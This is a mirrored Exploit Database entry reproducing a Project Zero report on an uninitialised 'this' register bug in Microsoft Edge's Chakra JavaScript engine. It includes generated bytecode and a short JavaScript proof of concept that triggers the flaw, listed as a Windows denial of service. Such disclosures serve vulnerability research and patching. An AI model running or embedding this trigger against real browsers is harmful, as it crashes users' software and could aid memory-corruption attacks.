Microsoft Edge Chakra – ‘EmitAssignment’ uses the ‘this’ Register Without Initializing

• Exploit Database
• 133 阅读

• 作者： Google Security Research
  日期： 2017-08-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42472/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46

  <!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1283   "EmitAssignment" doesn&apos;t call "EmitSuperMethodBegin" that initializes the "this" register for the case when the super keyword is used.   Here&apos;s the generated bytecode for the lambda function in the PoC. R5 is uninitialized. Function Anonymous function ( (#1.3), #4) (In0) (size: 7 [7]) 9 locals (1 temps from R8), 1 inline cache Constant Table: ======== ===== R1 LdRoot R2 Ld_A (undefined) R3 LdC_A_I4 int:1   0000 ProfiledLdEnvSlotR6 = [1][4]<0> 000c ProfiledLdEnvSlotR4 = [1][3]<1>     Line28: super.a = 1; Col 13: ^ 0018 LdHomeObjProto R8R4 001d ProfiledStSuperFld R8.(this=R5) = R3 #0 <0> 0025 LdUndefR0     Line29: } Col9: ^ 0027 Ret   PoC: -->   class Parent {   };   class Child extends Parent { constructor() { (() => { super.a = 10;// Implicitly use the "this" register. So it must be initialized. })(); } };   new Child();